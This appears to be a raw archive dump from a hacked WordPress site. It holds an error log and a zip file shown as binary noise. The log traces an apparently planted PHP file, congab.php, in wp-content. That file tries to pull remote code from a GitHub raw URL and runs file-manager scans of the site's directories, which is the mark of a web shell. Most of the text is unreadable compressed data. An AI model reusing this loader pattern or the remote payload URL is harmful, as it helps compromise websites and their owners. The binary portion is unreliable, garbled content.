error_log 0000644 00000011223 15244750641 0006470 0 ustar 00 [26-Aug-2026 10:02:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/digginteriors/public_html/wp-content/congab.php on line 89
[26-Aug-2026 10:02:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/bayu123-cpu/goat/refs/heads/main/goat.phpen.json): Failed to open stream: no suitable wrapper could be found in /home/digginteriors/public_html/wp-content/congab.php on line 89
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 216
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 217
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 218
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 219
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 220
[30-Aug-2026 06:17:46 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 221
[30-Aug-2026 06:17:49 UTC] PHP Warning: Undefined variable $ext in /home/digginteriors/public_html/wp-content/congab.php on line 1168
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 216
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 217
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 218
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 219
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 220
[30-Aug-2026 06:17:50 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 221
[30-Aug-2026 06:43:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 618
[30-Aug-2026 06:43:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/digginteriors/public_html/wp-content/congab.php:1) in /home/digginteriors/public_html/wp-content/congab.php on line 619
[30-Aug-2026 06:44:02 UTC] PHP Warning: opendir(/home/digginteriors/public_html/.well-known/): Failed to open directory: Permission denied in /home/digginteriors/public_html/wp-content/congab.php on line 272
[30-Aug-2026 06:44:02 UTC] PHP Fatal error: Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, false given in /home/digginteriors/public_html/wp-content/congab.php:273
Stack trace:
#0 /home/digginteriors/public_html/wp-content/congab.php(273): readdir(false)
#1 /home/digginteriors/public_html/wp-content/congab.php(1274): fm_scan_dir('/home/digginter...', '', 'all', true)
#2 {main}
thrown in /home/digginteriors/public_html/wp-content/congab.php on line 273
pl4e8701.zip 0000644 00000060617 15244750641 0006476 0 ustar 00 PK ]]Kba a e35nu 7m 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